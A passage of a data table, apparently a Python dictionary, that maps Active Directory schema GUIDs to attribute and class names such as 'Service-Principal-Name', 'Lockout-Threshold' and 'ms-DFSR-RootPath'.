'ff155a2a-44e5-4de0-8318-13a58988de4f': 'ms-DS-Is-Domain-For', + 'db0c9089-c1f2-11d1-bbc5-0080c76670c0': 'msNPCalledStationID', + '26d9736e-6070-11d1-a9c6-0000f80367c1': 'Server-Reference-BL', + 'aa12854c-d8fc-4d5e-91ca-368b8d829bee': 'ms-DNS-Is-Signed', + 'b7b13121-b82e-11d0-afee-0000f80367c1': 'Ipsec-Policy', + '7a4117da-cd67-11d0-afff-0000f80367c1': 'Sites-Container', + '9a7ad942-ca53-11d1-bbd0-0080c76670c0': 'Allowed-Child-Classes', + 'b40ff824-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Owners-Reference', + '37c94ff6-c6d4-498f-b2f9-c6f7f8647809': 'ms-DS-Is-Partial-Replica-For', + 'db0c908a-c1f2-11d1-bbc5-0080c76670c0': 'msNPCallingStationID', + 'bf967a33-0de6-11d0-a285-00aa003049e2': 'Server-Role', + 'c79f2199-6da1-46ff-923c-1f3f800c721e': 'ms-DNS-Sign-With-NSEC3', + '9a7ad943-ca53-11d1-bbd0-0080c76670c0': 'Allowed-Child-Classes-Effective', + 'b7b13118-b82e-11d0-afee-0000f80367c1': 'Ipsec-Policy-Reference', + 'fe01245a-341f-4556-951f-48c033a89050': 'ms-DS-Is-User-Cachable-At-Rodc', + 'db0c908e-c1f2-11d1-bbc5-0080c76670c0': 'msNPSavedCallingStationID', + 'bf967a34-0de6-11d0-a285-00aa003049e2': 'Server-State', + '7bea2088-8ce2-423c-b191-66ec506b1595': 'ms-DNS-NSEC3-OptOut', + 'bf967a9e-0de6-11d0-a285-00aa003049e2': 'Leaf', + 'bf967ab5-0de6-11d0-a285-00aa003049e2': 'Storage', + '00fbf30c-91fe-11d1-aebc-0000f80367c1': 'Alt-Security-Identities', + '00fbf30d-91fe-11d1-aebc-0000f80367c1': 'Is-Critical-System-Object', + 'cbdad11c-7fec-387b-6219-3a0627d9af81': 'ms-DS-Revealed-List', + 'db0c909c-c1f2-11d1-bbc5-0080c76670c0': 'msRADIUSCallbackNumber', + 'b7b1311c-b82e-11d0-afee-0000f80367c1': 'Service-Binding-Information', + '0dc063c1-52d9-4456-9e15-9c2434aafd94': 'ms-DNS-Maintain-Trust-Anchor', + '45b01500-c419-11d1-bbc9-0080c76670c0': 'ANR', + '28630ebe-41d5-11d1-a9c1-0000f80367c1': 'Is-Defunct', + 'aa1c88fd-b0f6-429f-b2ca-9d902266e808': 'ms-DS-Revealed-List-BL', + 'db0c90a4-c1f2-11d1-bbc5-0080c76670c0': 'msRADIUSFramedIPAddress', + 'bf967a35-0de6-11d0-a285-00aa003049e2': 'Service-Class-ID', + '5c5b7ad2-20fa-44bb-beb3-34b9c0f65579': 'ms-DNS-DS-Record-Algorithms', + '1be8f17d-a9ff-11d0-afe2-00c04fd930c9': 'Licensing-Site-Settings', + 'b7b13124-b82e-11d0-afee-0000f80367c1': 'Subnet', + '96a7dd65-9118-11d1-aebc-0000f80367c1': 'App-Schema-Version', + 'bf96798f-0de6-11d0-a285-00aa003049e2': 'Is-Deleted', + '011929e6-8b5d-4258-b64a-00b0b4949747': 'ms-DS-Last-Successful-Interactive-Logon-Time', + 'db0c90a9-c1f2-11d1-bbc5-0080c76670c0': 'msRADIUSFramedRoute', + 'bf967a36-0de6-11d0-a285-00aa003049e2': 'Service-Class-Info', + '27d93c40-065a-43c0-bdd8-cdf2c7d120aa': 'ms-DNS-RFC5011-Key-Rollovers', + 'dd712226-10e4-11d0-a05f-00aa006c33ed': 'Application-Name', + 'f4c453f0-c5f1-11d1-bbcb-0080c76670c0': 'Is-Ephemeral', + 'c7e7dafa-10c3-4b8b-9acd-54f11063742e': 'ms-DS-Last-Failed-Interactive-Logon-Time', + 'db0c90b6-c1f2-11d1-bbc5-0080c76670c0': 'msRADIUSServiceType', + 'b7b1311d-b82e-11d0-afee-0000f80367c1': 'Service-Class-Name', + 'ff9e5552-7db7-4138-8888-05ce320a0323': 'ms-DNS-NSEC3-Hash-Algorithm', + 'ddac0cf5-af8f-11d0-afeb-00c04fd930c9': 'Link-Track-Object-Move-Table', + 'b7b13125-b82e-11d0-afee-0000f80367c1': 'Subnet-Container', + '8297931d-86d3-11d0-afda-00c04fd930c9': 'Applies-To', + 'bf967991-0de6-11d0-a285-00aa003049e2': 'Is-Member-Of-DL', + 'dc3ca86f-70ad-4960-8425-a4d6313d93dd': 'ms-DS-Failed-Interactive-Logon-Count', + 'db0c90c5-c1f2-11d1-bbc5-0080c76670c0': 'msRASSavedCallbackNumber', + '28630eb8-41d5-11d1-a9c1-0000f80367c1': 'Service-DNS-Name', + '13361665-916c-4de7-a59d-b1ebbd0de129': 'ms-DNS-NSEC3-Random-Salt-Length', + 'ba305f75-47e3-11d0-a1a6-00c04fd930c9': 'Asset-Number', + '19405b9d-3cfa-11d1-a9c0-0000f80367c1': 'Is-Member-Of-Partial-Attribute-Set', + 'c5d234e5-644a-4403-a665-e26e0aef5e98': 'ms-DS-Failed-Interactive-Logon-Count-At-Last-Successful-Logon', + 'db0c90c6-c1f2-11d1-bbc5-0080c76670c0': 'msRASSavedFramedIPAddress', + '28630eba-41d5-11d1-a9c1-0000f80367c1': 'Service-DNS-Name-Type', + '80b70aab-8959-4ec0-8e93-126e76df3aca': 'ms-DNS-NSEC3-Iterations', + 'ddac0cf7-af8f-11d0-afeb-00c04fd930c9': 'Link-Track-OMT-Entry', + '0296c11c-40da-11d1-a9c0-0000f80367c1': 'Assistant', + '19405b9c-3cfa-11d1-a9c0-0000f80367c1': 'Is-Privilege-Holder', + '31f7b8b6-c9f8-4f2d-a37b-58a823030331': 'ms-DS-USN-Last-Sync-Success', + 'db0c90c7-c1f2-11d1-bbc5-0080c76670c0': 'msRASSavedFramedRoute', + 'bf967a37-0de6-11d0-a285-00aa003049e2': 'Service-Instance-Version', + '8f4e317f-28d7-442c-a6df-1f491f97b326': 'ms-DNS-DNSKEY-Record-Set-TTL', + 'bf967ab8-0de6-11d0-a285-00aa003049e2': 'Trusted-Domain', + '398f63c0-ca60-11d1-bbd1-0000f81f10c0': 'Assoc-NT-Account', + '8fb59256-55f1-444b-aacb-f5b482fe3459': 'Is-Recycled', + '78fc5d84-c1dc-3148-8984-58f792d41d3e': 'ms-DS-Value-Type-Reference', + 'bf9679d3-0de6-11d0-a285-00aa003049e2': 'Must-Contain', + 'f3a64788-5306-11d1-a9c5-0000f80367c1': 'Service-Principal-Name', + '29869b7c-64c4-42fe-97d5-fbc2fa124160': 'ms-DNS-DS-Record-Set-TTL', + 'ddac0cf6-af8f-11d0-afeb-00c04fd930c9': 'Link-Track-Vol-Entry', + '3320fc38-c379-4c17-a510-1bdf6133c5da': 'associatedDomain', + 'bf967992-0de6-11d0-a285-00aa003049e2': 'Is-Single-Valued', + 'ab5543ad-23a1-3b45-b937-9b313d5474a8': 'ms-DS-Value-Type-Reference-BL', + '80212840-4bdc-11d1-a9c4-0000f80367c1': 'Name-Service-Flags', + '7d6c0e97-7e20-11d0-afd6-00c04fd930c9': 'Setup-Command', + '03d4c32e-e217-4a61-9699-7bbc4729a026': 'ms-DNS-Signature-Inception-Offset', + '281416e2-1968-11d0-a28f-00aa003049e2': 'Type-Library', + 'f7fbfc45-85ab-42a4-a435-780e62f7858b': 'associatedName', + 'bac80572-09c4-4fa9-9ae6-7628d7adbe0e': 'jpegPhoto', + '8a0560c1-97b9-4811-9db7-dc061598965b': 'ms-DS-Optional-Feature-Flags', + 'bf9679d6-0de6-11d0-a285-00aa003049e2': 'NC-Name', + '553fd039-f32e-11d0-b0bc-00c04fd8dca6': 'Shell-Context-Menu', + 'f6b0f0be-a8e4-4468-8fd9-c3c47b8722f9': 'ms-DNS-Secure-Delegation-Polling-Period', + 'ddac0cf4-af8f-11d0-afeb-00c04fd930c9': 'Link-Track-Volume-Table', + 'fa4693bb-7bc2-4cb9-81a8-c99c43b7905e': 'attributeCertificateAttribute', + 'bf967993-0de6-11d0-a285-00aa003049e2': 'Keywords', + 'bf9679d8-0de6-11d0-a285-00aa003049e2': 'NETBIOS-Name', + '52458039-ca6a-11d0-afff-0000f80367c1': 'Shell-Property-Pages', + '3443d8cd-e5b6-4f3b-b098-659a0214a079': 'ms-DNS-Signing-Key-Descriptors', + 'bf967abb-0de6-11d0-a285-00aa003049e2': 'Volume', + 'cb843f80-48d9-11d1-a9c3-0000f80367c1': 'Attribute-Display-Names', + '1677581f-47f3-11d1-a9c3-0000f80367c1': 'Knowledge-Information', + '07383076-91df-11d1-aebc-0000f80367c1': 'netboot-Allow-New-Clients', + '45b01501-c419-11d1-bbc9-0080c76670c0': 'Short-Server-Name', + 'b7673e6d-cad9-4e9e-b31a-63e8098fdd63': 'ms-DNS-Signing-Keys', + 'bf967aa0-0de6-11d0-a285-00aa003049e2': 'Locality', + 'bf967922-0de6-11d0-a285-00aa003049e2': 'Attribute-ID', + 'c569bb46-c680-44bc-a273-e6c227d71b45': 'labeledURI', + '0738307b-91df-11d1-aebc-0000f80367c1': 'netboot-Answer-Only-Valid-Clients', + '3e74f60e-3e73-11d1-a9c0-0000f80367c1': 'Show-In-Address-Book', + '28c458f5-602d-4ac9-a77c-b3f1be503a7e': 'ms-DNS-DNSKEY-Records', + 'ad44bb41-67d5-4d88-b575-7b20674e76d8': 'PosixAccount', + 'bf967924-0de6-11d0-a285-00aa003049e2': 'Attribute-Security-GUID', + '1fbb0be8-ba63-11d0-afef-0000f80367c1': 'Last-Backup-Restoration-Time', + '0738307a-91df-11d1-aebc-0000f80367c1': 'netboot-Answer-Requests', + 'bf967984-0de6-11d0-a285-00aa003049e2': 'Show-In-Advanced-View-Only', + '285c6964-c11a-499e-96d8-bf7c75a223c6': 'ms-DNS-Parent-Has-Secure-Delegation', + '52ab8671-5709-11d1-a9c6-0000f80367c1': 'Lost-And-Found', + 'bf967925-0de6-11d0-a285-00aa003049e2': 'Attribute-Syntax', + 'bf967995-0de6-11d0-a285-00aa003049e2': 'Last-Content-Indexed', + '5643ff81-35b6-4ca9-9512-baf0bd0a2772': 'ms-FRS-Hub-Member', + '07383079-91df-11d1-aebc-0000f80367c1': 'netboot-Current-Client-Count', + '17eb4278-d167-11d0-b002-0000f80367c1': 'SID-History', + 'ba340d47-2181-4ca0-a2f6-fae4479dab2a': 'ms-DNS-Propagation-Time', + '5b6d8467-1a18-4174-b350-9cc6e7b4ac8d': 'ShadowAccount', + '9a7ad944-ca53-11d1-bbd0-0080c76670c0': 'Attribute-Types', + '52ab8670-5709-11d1-a9c6-0000f80367c1': 'Last-Known-Parent', + '92aa27e0-5c50-402d-9ec1-ee847def9788': 'ms-FRS-Topology-Pref', + '3e978921-8c01-11d0-afda-00c04fd930c9': 'Netboot-GUID', + '2a39c5b2-8960-11d1-aebc-0000f80367c1': 'Signature-Algorithms', + 'aff16770-9622-4fbc-a128-3088777605b9': 'ms-DNS-NSEC3-User-Salt', + '11b6cc94-48c4-11d1-a9c3-0000f80367c1': 'Meeting', + 'd0e1d224-e1a0-42ce-a2da-793ba5244f35': 'audio', + 'bf967996-0de6-11d0-a285-00aa003049e2': 'Last-Logoff', + '1a861408-38c3-49ea-ba75-85481a77c655': 'ms-DFSR-Version', + '532570bd-3d77-424f-822f-0d636dc6daad': 'Netboot-DUID', + '3e978924-8c01-11d0-afda-00c04fd930c9': 'Site-GUID', + '387d9432-a6d1-4474-82cd-0a89aae084ae': 'ms-DNS-NSEC3-Current-Salt', + '2a9350b8-062c-4ed0-9903-dde10d06deba': 'PosixGroup', + '6da8a4fe-0e52-11d0-a286-00aa003049e2': 'Auditing-Policy', + 'bf967997-0de6-11d0-a285-00aa003049e2': 'Last-Logon', + '78f011ec-a766-4b19-adcf-7b81ed781a4d': 'ms-DFSR-Extension', + '3e978920-8c01-11d0-afda-00c04fd930c9': 'Netboot-Initialization', + 'd50c2cdd-8951-11d1-aebc-0000f80367c1': 'Site-Link-List', + '07831919-8f94-4fb6-8a42-91545dccdad3': 'ms-Authz-Effective-Security-Policy', + 'c9010e74-4e58-49f7-8a89-5e3e2340fcf8': 'ms-COM-Partition', + 'bf967928-0de6-11d0-a285-00aa003049e2': 'Authentication-Options', + 'c0e20a04-0e5a-4ff3-9482-5efeaecd7060': 'Last-Logon-Timestamp', + 'd7d5e8c1-e61f-464f-9fcf-20bbe0a2ec54': 'ms-DFSR-RootPath', + '0738307e-91df-11d1-aebc-0000f80367c1': 'netboot-IntelliMirror-OSes', + 'd50c2cdc-8951-11d1-aebc-0000f80367c1': 'Site-List', + 'b946bece-09b5-4b6a-b25a-4b63a330e80e': 'ms-Authz-Proposed-Security-Policy', + '2517fadf-fa97-48ad-9de6-79ac5721f864': 'IpService', + '1677578d-47f3-11d1-a9c3-0000f80367c1': 'Authority-Revocation-List', + 'bf967998-0de6-11d0-a285-00aa003049e2': 'Last-Set-Time', + '90b769ac-4413-43cf-ad7a-867142e740a3': 'ms-DFSR-RootSizeInMb', + '07383077-91df-11d1-aebc-0000f80367c1': 'netboot-Limit-Clients', + '3e10944c-c354-11d0-aff8-0000f80367c1': 'Site-Object', + '8e1685c6-3e2f-48a2-a58d-5af0ea789fa0': 'ms-Authz-Last-Effective-Security-Policy', + '250464ab-c417-497a-975a-9e0d459a7ca1': 'ms-COM-PartitionSet', + 'bf96792c-0de6-11d0-a285-00aa003049e2': 'Auxiliary-Class', + '7d6c0e9c-7e20-11d0-afd6-00c04fd930c9': 'Last-Update-Sequence', + '86b9a69e-f0a6-405d-99bb-77d977992c2a': 'ms-DFSR-StagingPath', + '07383080-91df-11d1-aebc-0000f80367c1': 'netboot-Locally-Installed-OSes', + '3e10944d-c354-11d0-aff8-0000f80367c1': 'Site-Object-BL', + '80997877-f874-4c68-864d-6e508a83bdbd': 'ms-Authz-Resource-Condition', + '9c2dcbd2-fbf0-4dc7-ace0-8356dcd0f013': 'IpProtocol', + 'bf96792d-0de6-11d0-a285-00aa003049e2': 'Bad-Password-Time', + '7359a352-90f7-11d1-aebc-0000f80367c1': 'LDAP-Admin-Limits', + '250a8f20-f6fc-4559-ae65-e4b24c67aebe': 'ms-DFSR-StagingSizeInMb', + '3e978923-8c01-11d0-afda-00c04fd930c9': 'Netboot-Machine-File-Path', + '1be8f17c-a9ff-11d0-afe2-00c04fd930c9': 'Site-Server', + '62f29b60-be74-4630-9456-2f6691993a86': 'ms-Authz-Central-Access-Policy-ID', + '90df3c3e-1854-4455-a5d7-cad40d56657a': 'ms-DS-App-Configuration', + 'bf96792e-0de6-11d0-a285-00aa003049e2': 'Bad-Pwd-Count', + 'bf96799a-0de6-11d0-a285-00aa003049e2': 'LDAP-Display-Name', + '5cf0bcc8-60f7-4bff-bda6-aea0344eb151': 'ms-DFSR-ConflictPath', + '07383078-91df-11d1-aebc-0000f80367c1': 'netboot-Max-Clients', + '26d9736f-6070-11d1-a9c6-0000f80367c1': 'SMTP-Mail-Address', + '57f22f7a-377e-42c3-9872-cec6f21d2e3e': 'ms-Authz-Member-Rules-In-Central-Access-Policy', + 'cadd1e5e-fefc-4f3f-b5a9-70e994204303': 'OncRpc', + '1f0075f9-7e40-11d0-afd6-00c04fd930c9': 'Birth-Location', + '7359a353-90f7-11d1-aebc-0000f80367c1': 'LDAP-IPDeny-List', + '9ad33fc9-aacf-4299-bb3e-d1fc6ea88e49': 'ms-DFSR-ConflictSizeInMb', + '2df90d85-009f-11d2-aa4c-00c04fd7d83a': 'Netboot-Mirror-Data-File', + '2ab0e76c-7041-11d2-9905-0000f87a57d4': 'SPN-Mappings', + '516e67cf-fedd-4494-bb3a-bc506a948891': 'ms-Authz-Member-Rules-In-Central-Access-Policy-BL', + '9e67d761-e327-4d55-bc95-682f875e2f8e': 'ms-DS-App-Data', + 'd50c2cdb-8951-11d1-aebc-0000f80367c1': 'Bridgehead-Server-List-BL', + '03726ae7-8e7d-4446-8aae-a91657c00993': 'ms-DFSR-Enabled', + '0738307c-91df-11d1-aebc-0000f80367c1': 'netboot-New-Machine-Naming-Policy', + 'bf967a39-0de6-11d0-a285-00aa003049e2': 'State-Or-Province-Name', + 'fa32f2a6-f28b-47d0-bf91-663e8f910a72': 'ms-DS-Claim-Source', + 'ab911646-8827-4f95-8780-5a8f008eb68f': 'IpHost', + 'd50c2cda-8951-11d1-aebc-0000f80367c1': 'Bridgehead-Transport-List', + 'bf96799b-0de6-11d0-a285-00aa003049e2': 'Link-ID', + 'eeed0fc8-1001-45ed-80cc-bbf744930720': 'ms-DFSR-ReplicationGroupType', + '0738307d-91df-11d1-aebc-0000f80367c1': 'netboot-New-Machine-OU', + 'bf967a3a-0de6-11d0-a285-00aa003049e2': 'Street-Address', + '92f19c05-8dfa-4222-bbd1-2c4f01487754': 'ms-DS-Claim-Source-Type', + 'cfee1051-5f28-4bae-a863-5d0cc18a8ed1': 'ms-DS-Az-Admin-Manager', + 'f87fa54b-b2c5-4fd7-88c0-daccb21d93c5': 'buildingName', + '2ae80fe2-47b4-11d0-a1a4-00c04fd930c9': 'Link-Track-Secret', + '23e35d4c-e324-4861-a22f-e199140dae00': 'ms-DFSR-TombstoneExpiryInMin', + '07383082-91df-11d1-aebc-0000f80367c1': 'netboot-SCP-BL', + '3860949f-f6a8-4b38-9950-81ecb6bc2982': 'Structural-Object-Class', + '0c2ce4c7-f1c3-4482-8578-c60d4bb74422': 'ms-DS-Claim-Is-Value-Space-Restricted', + 'd95836c3-143e-43fb-992a-b057f1ecadf9': 'IpNetwork', + 'bf96792f-0de6-11d0-a285-00aa003049e2': 'Builtin-Creation-Time', + 'bf96799d-0de6-11d0-a285-00aa003049e2': 'Lm-Pwd-History', + 'd68270ac-a5dc-4841-a6ac-cd68be38c181': 'ms-DFSR-FileFilter', + '07383081-91df-11d1-aebc-0000f80367c1': 'netboot-Server', + 'bf967a3b-0de6-11d0-a285-00aa003049e2': 'Sub-Class-Of', + 'cd789fb9-96b4-4648-8219-ca378161af38': 'ms-DS-Claim-Is-Single-Valued', + 'ddf8de9b-cba5-4e12-842e-28d8b66f75ec': 'ms-DS-Az-Application', + 'bf967930-0de6-11d0-a285-00aa003049e2': 'Builtin-Modified-Count', + 'bf96799e-0de6-11d0-a285-00aa003049e2': 'Local-Policy-Flags', + '93c7b477-1f2e-4b40-b7bf-007e8d038ccf': 'ms-DFSR-DirectoryFilter', + '2df90d84-009f-11d2-aa4c-00c04fd7d83a': 'Netboot-SIF-File', + 'bf967a3c-0de6-11d0-a285-00aa003049e2': 'Sub-Refs', + '1e5d393d-8cb7-4b4f-840a-973b36cc09c3': 'ms-DS-Generation-Id', + '72efbf84-6e7b-4a5c-a8db-8a75a7cad254': 'NisNetgroup', + 'bf967931-0de6-11d0-a285-00aa003049e2': 'Business-Category', + '80a67e4d-9f22-11d0-afdd-00c04fd930c9': 'Local-Policy-Reference', + '4699f15f-a71f-48e2-9ff5-5897c0759205': 'ms-DFSR-Schedule', + '0738307f-91df-11d1-aebc-0000f80367c1': 'netboot-Tools', + '9a7ad94d-ca53-11d1-bbd0-0080c76670c0': 'SubSchemaSubEntry', + 'a13df4e2-dbb0-4ceb-828b-8b2e143e9e81': 'ms-DS-Primary-Computer', + '860abe37-9a9b-4fa4-b3d2-b8ace5df9ec5': 'ms-DS-Az-Operation', + 'ba305f76-47e3-11d0-a1a6-00c04fd930c9': 'Bytes-Per-Minute', + 'bf9679a1-0de6-11d0-a285-00aa003049e2': 'Locale-ID', + '048b4692-6227-4b67-a074-c4437083e14b': 'ms-DFSR-Keywords', + 'bf9679d9-0de6-11d0-a285-00aa003049e2': 'Network-Address', + '963d274c-48be-11d1-a9c3-0000f80367c1': 'Super-Scope-Description', + '998c06ac-3f87-444e-a5df-11b03dc8a50c': 'ms-DS-Is-Primary-Computer-For', + '7672666c-02c1-4f33-9ecf-f649c1dd9b7c': 'NisMap', + 'bf967932-0de6-11d0-a285-00aa003049e2': 'CA-Certificate', + 'bf9679a2-0de6-11d0-a285-00aa003049e2': 'Locality-Name', + 'fe515695-3f61-45c8-9bfa-19c148c57b09': 'ms-DFSR-Flags', + 'bf9679da-0de6-11d0-a285-00aa003049e2': 'Next-Level-Store', + '963d274b-48be-11d1-a9c3-0000f80367c1': 'Super-Scopes', + 'db2c48b2-d14d-ec4e-9f58-ad579d8b440e': 'ms-Kds-KDF-AlgorithmID', + '8213eac9-9d55-44dc-925c-e9a52b927644': 'ms-DS-Az-Role', + '963d2740-48be-11d1-a9c3-0000f80367c1': 'CA-Certificate-DN', + 'd9e18316-8939-11d1-aebc-0000f80367c1': 'Localized-Description', + 'd6d67084-c720-417d-8647-b696237a114c': 'ms-DFSR-Options', + 'bf9679db-0de6-11d0-a285-00aa003049e2': 'Next-Rid', + '5245801d-ca6a-11d0-afff-0000f80367c1': 'Superior-DNS-Root', + '8a800772-f4b8-154f-b41c-2e4271eff7a7': 'ms-Kds-KDF-Param', + '904f8a93-4954-4c5f-b1e1-53c097a31e13': 'NisObject', + '963d2735-48be-11d1-a9c3-0000f80367c1': 'CA-Connect', + 'a746f0d1-78d0-11d2-9916-0000f87a57d4': 'Localization-Display-Id', + '1035a8e1-67a8-4c21-b7bb-031cdf99d7a0': 'ms-DFSR-ContentSetGuid', + '52458018-ca6a-11d0-afff-0000f80367c1': 'Non-Security-Member', + 'bf967a3f-0de6-11d0-a285-00aa003049e2': 'Supplemental-Credentials', + '1702975d-225e-cb4a-b15d-0daea8b5e990': 'ms-Kds-SecretAgreement-AlgorithmID', + '4feae054-ce55-47bb-860e-5b12063a51de': 'ms-DS-Az-Scope', + '963d2738-48be-11d1-a9c3-0000f80367c1': 'CA-Usages', + '09dcb79f-165f-11d0-a064-00aa006c33ed': 'Location', + 'e3b44e05-f4a7-4078-a730-f48670a743f8': 'ms-DFSR-RdcEnabled', + '52458019-ca6a-11d0-afff-0000f80367c1': 'Non-Security-Member-BL', + '1677588f-47f3-11d1-a9c3-0000f80367c1': 'Supported-Application-Context', + '30b099d9-edfe-7549-b807-eba444da79e9': 'ms-Kds-SecretAgreement-Param', + 'a699e529-a637-4b7d-a0fb-5dc466a0b8a7': 'IEEE802Device', + '963d2736-48be-11d1-a9c3-0000f80367c1': 'CA-WEB-URL', + 'bf9679a4-0de6-11d0-a285-00aa003049e2': 'Lock-Out-Observation-Window', + 'f402a330-ace5-4dc1-8cc9-74d900bf8ae0': 'ms-DFSR-RdcMinFileSizeInKb', + '19195a56-6da0-11d0-afd3-00c04fd930c9': 'Notification-List', + 'bf967a41-0de6-11d0-a285-00aa003049e2': 'Surname', + 'e338f470-39cd-4549-ab5b-f69f9e583fe0': 'ms-Kds-PublicKey-Length', + '1ed3a473-9b1b-418a-bfa0-3a37b95a5306': 'ms-DS-Az-Task', + 'd9e18314-8939-11d1-aebc-0000f80367c1': 'Can-Upgrade-Script', + 'bf9679a5-0de6-11d0-a285-00aa003049e2': 'Lockout-Duration', + '2cc903e2-398c-443b-ac86-ff6b01eac7ba': 'ms-DFSR-DfsPath', + 'bf9679df-0de6-11d0-a285-00aa003049e2': 'NT-Group-Members', + '037651e4-441d-11d1-a9c3-0000f80367c1': 'Sync-Attributes', + '615f42a1-37e7-1148-a0dd-3007e09cfc81': 'ms-Kds-PrivateKey-Length', + '4bcb2477-4bb3-4545-a9fc-fb66e136b435': 'BootableDevice', + '9a7ad945-ca53-11d1-bbd0-0080c76670c0': 'Canonical-Name', + 'bf9679a6-0de6-11d0-a285-00aa003049e2': 'Lockout-Threshold', + '51928e94-2cd8-4abe-b552-e50412444370': 'ms-DFSR-RootFence', + '3e97891f-8c01-11d0-afda-00c04fd930c9': 'NT-Mixed-Domain', + '037651e3-441d-11d1-a9c3-0000f80367c1': 'Sync-Membership', + '26627c27-08a2-0a40-a1b1-8dce85b42993': 'ms-Kds-RootKeyData', + '44f00041-35af-468b-b20a-6ce8737c580b': 'ms-DS-Optional-Feature', + 'd4159c92-957d-4a87-8a67-8d2934e01649': 'carLicense', + '28630ebf-41d5-11d1-a9c1-0000f80367c1': 'Lockout-Time', + '2dad8796-7619-4ff8-966e-0a5cc67b287f': 'ms-DFSR-ReplicationGroupGuid', + 'bf9679e2-0de6-11d0-a285-00aa003049e2': 'Nt-Pwd-History', + '037651e2-441d-11d1-a9c3-0000f80367c1': 'Sync-With-Object', + 'd5f07340-e6b0-1e4a-97be-0d3318bd9db1': 'ms-Kds-Version', + 'd6710785-86ff-44b7-85b5-f1f8689522ce': 'msSFU-30-Mail-Aliases', + '7bfdcb81-4807-11d1-a9c3-0000f80367c1': 'Catalogs', + 'bf9679a9-0de6-11d0-a285-00aa003049e2': 'Logo', + 'f7b85ba9-3bf9-428f-aab4-2eee6d56f063': 'ms-DFSR-DfsLinkTarget', + 'bf9679e3-0de6-11d0-a285-00aa003049e2': 'NT-Security-Descriptor', + '037651e5-441d-11d1-a9c3-0000f80367c1': 'Sync-With-SID', + '96400482-cf07-e94c-90e8-f2efc4f0495e': 'ms-Kds-DomainID', + '3bcd9db8-f84b-451c-952f-6c52b81f9ec6': 'ms-DS-Password-Settings', + '7bfdcb7e-4807-11d1-a9c3-0000f80367c1': 'Categories', + 'bf9679aa-0de6-11d0-a285-00aa003049e2': 'Logon-Count', + '261337aa-f1c3-44b2-bbea-c88d49e6f0c7': 'ms-DFSR-MemberReference', + 'bf9679e4-0de6-11d0-a285-00aa003049e2': 'Obj-Dist-Name', + 'bf967a43-0de6-11d0-a285-00aa003049e2': 'System-Auxiliary-Class', + '6cdc047f-f522-b74a-9a9c-d95ac8cdfda2': 'ms-Kds-UseStartTime', + 'e263192c-2a02-48df-9792-94f2328781a0': 'msSFU-30-Net-Id', + '7d6c0e94-7e20-11d0-afd6-00c04fd930c9': 'Category-Id', + 'bf9679ab-0de6-11d0-a285-00aa003049e2': 'Logon-Hours', + '6c7b5785-3d21-41bf-8a8a-627941544d5a': 'ms-DFSR-ComputerReference', + '26d97369-6070-11d1-a9c6-0000f80367c1': 'Object-Category', + 'e0fa1e62-9b45-11d0-afdd-00c04fd930c9': 'System-Flags', + 'ae18119f-6390-0045-b32d-97dbc701aef7': 'ms-Kds-CreateTime', + '5b06b06a-4cf3-44c0-bd16-43bc10a987da': 'ms-DS-Password-Settings-Container', + '963d2732-48be-11d1-a9c3-0000f80367c1': 'Certificate-Authority-Object', + 'bf9679ac-0de6-11d0-a285-00aa003049e2': 'Logon-Workstation', + 'adde62c6-1880-41ed-bd3c-30b7d25e14f0': 'ms-DFSR-MemberReferenceBL', + 'bf9679e5-0de6-11d0-a285-00aa003049e2': 'Object-Class', + 'bf967a44-0de6-11d0-a285-00aa003049e2': 'System-May-Contain', + '9cdfdbc5-0304-4569-95f6-c4f663fe5ae6': 'ms-Imaging-Thumbprint-Hash', + '36297dce-656b-4423-ab65-dabb2770819e': 'msSFU-30-Domain-Info', + '1677579f-47f3-11d1-a9c3-0000f80367c1': 'Certificate-Revocation-List', + 'bf9679ad-0de6-11d0-a285-00aa003049e2': 'LSA-Creation-Time', + '5eb526d7-d71b-44ae-8cc6-95460052e6ac': 'ms-DFSR-ComputerReferenceBL', + 'bf9679e6-0de6-11d0-a285-00aa003049e2': 'Object-Class-Category', + 'bf967a45-0de6-11d0-a285-00aa003049e2': 'System-Must-Contain', + '8ae70db5-6406-4196-92fe-f3bb557520a7': 'ms-Imaging-Hash-Algorithm', + 'da83fc4f-076f-4aea-b4dc-8f4dab9b5993': 'ms-DS-Quota-Container', + '2a39c5b1-8960-11d1-aebc-0000f80367c1': 'Certificate-Templates', + 'bf9679ae-0de6-11d0-a285-00aa003049e2': 'LSA-Modified-Count', + 'eb20e7d6-32ad-42de-b141-16ad2631b01b': 'ms-DFSR-Priority', + '9a7ad94b-ca53-11d1-bbd0-0080c76670c0': 'Object-Classes', + 'bf967a46-0de6-11d0-a285-00aa003049e2': 'System-Only', + '3f78c3e5-f79a-46bd-a0b8-9d18116ddc79': 'ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity', + 'e15334a3-0bf0-4427-b672-11f5d84acc92': 'msSFU-30-Network-User', + '548e1c22-dea6-11d0-b010-0000f80367c1': 'Class-Display-Name', + 'bf9679af-0de6-11d0-a285-00aa003049e2': 'Machine-Architecture', + '817cf0b8-db95-4914-b833-5a079ef65764': 'ms-DFSR-DeletedPath', + '34aaa216-b699-11d0-afee-0000f80367c1': 'Object-Count', + 'bf967a47-0de6-11d0-a285-00aa003049e2': 'System-Poss-Superiors', + 'e362ed86-b728-0842-b27d-2dea7a9df218': 'ms-DS-ManagedPassword', + 'de91fc26-bd02-4b52-ae26-795999e96fc7': 'ms-DS-Quota-Control', + 'bf967938-0de6-11d0-a285-00aa003049e2': 'Code-Page', + 'c9b6358e-bb38-11d0-afef-0000f80367c1': 'Machine-Password-Change-Interval', + '53ed9ad1-9975-41f4-83f5-0c061a12553a': 'ms-DFSR-DeletedSizeInMb', + 'bf9679e7-0de6-11d0-a285-00aa003049e2': 'Object-Guid', + 'bf967a49-0de6-11d0-a285-00aa003049e2': 'Telephone-Number', + '0e78295a-c6d3-0a40-b491-d62251ffa0a6': 'ms-DS-ManagedPasswordId', + 'faf733d0-f8eb-4dcf-8d75-f1753af6a50b': 'msSFU-30-NIS-Map-Config', + 'bf96793b-0de6-11d0-a285-00aa003049e2': 'COM-ClassID', + 'bf9679b2-0de6-11d0-a285-00aa003049e2': 'Machine-Role', + '5ac48021-e447-46e7-9d23-92c0c6a90dfb': 'ms-DFSR-ReadOnly', + 'bf9679e8-0de6-11d0-a285-00aa003049e2': 'Object-Sid', + 'bf967a4a-0de6-11d0-a285-00aa003049e2': 'Teletex-Terminal-Identifier', + 'd0d62131-2d4a-d04f-99d9-1c63646229a4': 'ms-DS-ManagedPasswordPreviousId', + 'ce206244-5827-4a86-ba1c-1c0c386c1b64': 'ms-DS-Managed-Service-Account', + 